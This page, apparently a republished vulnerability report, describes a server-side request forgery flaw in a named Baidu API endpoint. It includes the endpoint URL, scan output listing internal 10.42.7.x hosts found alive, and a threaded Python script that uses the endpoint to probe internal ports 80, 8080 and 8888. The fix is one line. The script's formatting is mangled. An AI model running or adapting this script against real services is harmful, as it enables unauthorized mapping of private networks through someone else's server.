SSRF (with verification script)

Source: Internet
Author: User

SSRF (with verification script)

SSRF (with verification script)

SSRF is located:
 

http://tuanbai.baidu.com/apiCheckv1/?url=http://10.42.7.78



HTTP Status 200, will return
 

Retrieving data from the API does not conform to our specified XML format!


 



If it is not 200, return
 

An error occurred while obtaining data from the API! Possible causes of failure: 1. The server where the api is located is faulty; 2. Timeout (> 10 s) for obtaining data from the api ). 3. redirect is set for the api url.


 

 

Scan the host that opens port 80, port 80, and port 8888 of the HTTP service in the CIDR Block 10.42.7.1/24:
 

D:\ssrf>baidu_ssrf.py. . .[Alive] http://10.42.7.18:80/. . . . . . .. .. . . .[Alive] http://10.42.7.24:80/. . . . . . . . . . . . . . . . . . . . .. . . .[Alive] http://10.42.7.54:80/.[Alive] http://10.42.7.57:80/. . . . . . . . . . . . . . . . . .[Alive] http://10.42.7.65:80/. . . . . . .[Alive] http://10.42.7.78:80/. . . . . . . . .[Alive] http://10.42.7.86:80/. . . . . . . . . . . .[Alive] http://10.42.7.100:80/. . .[Alive] http://10.42.7.104:80/. . . . . . . . . . . . . . . . . . . .[Alive] http://10.42.7.113:80/. . . . . . . . . . . . .[Alive] http://10.42.7.124:80/. . . . . . .[Alive] http://10.42.7.136:80/. .[Alive] http://10.42.7.139:80/. . . .[Alive] http://10.42.7.143:80/. . .[Alive] http://10.42.7.145:80/. . .[Alive] http://10.42.7.147:80/[Alive] http://10.42.7.151:80/. . .[Alive] http://10.42.7.156:80/. . .[Alive] http://10.42.7.158:80/[Alive] http://10.42.7.161:80/. . . . . . . . .[Alive] http://10.42.7.168:80/[Alive] http://10.42.7.169:80/. . . . . .[Alive] http://10.42.7.173:80/. . . . . .[Alive] http://10.42.7.187:80/. . . . . .[Alive] http://10.42.7.191:80/[Alive] http://10.42.7.192:80/. . .[Alive] http://10.42.7.196:80/. . . .[Alive] http://10.42.7.195:80/[Alive] http://10.42.7.199:80/. .[Alive] http://10.42.7.203:80/. .[Alive] http://10.42.7.206:80/. . . . . . . . .[Alive] http://10.42.7.219:80/. . . .[Alive] http://10.42.7.217:80/. . . . . .[Alive] http://10.42.7.232:80/. . . . . . . . . . . . . . . . . . . . . . . . .[Alive] http://10.42.7.156:8080/. . . . . . . All Done


 



Python script attachment:
 

# Encoding = gbkimport httplibimport threadingimport Queuelock = threading. lock () queue = Queue. queue () def scan_http_service (): while True: try: item = queue. get (timeout = 1.0) break T: break for I in range (3): try: conn = httplib. HTTPConnection ('tuanbai .baidu.com ', timeout = 3) url =' http://%s:%s/ '% (Item ['IP'], item ['Port']) conn. request ('get','/apiCheckv1 /? Url = '+ url) html_doc = conn. getresponse (). read (). decode ('gbk') conn. close () if html_doc.find (u'retrieve data from the API does not comply with our prescribed XML format ')> = 0: lock. acquire () print '\ n [Alive]', url lock. release () break else: print '. ', cannot t Exception, e: passfor port in [80,808 0, 8888]: for I in range (1,256): queue. put ({'IP': '10. 42.7.% s' % I, 'Port': port}) threads = [] for I in range (10): t = threading. thread (target = scan_http_service) t. start () threads. append (t) for t in threads: t. join () print 'all done'

 

Solution:

Filter request targets

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.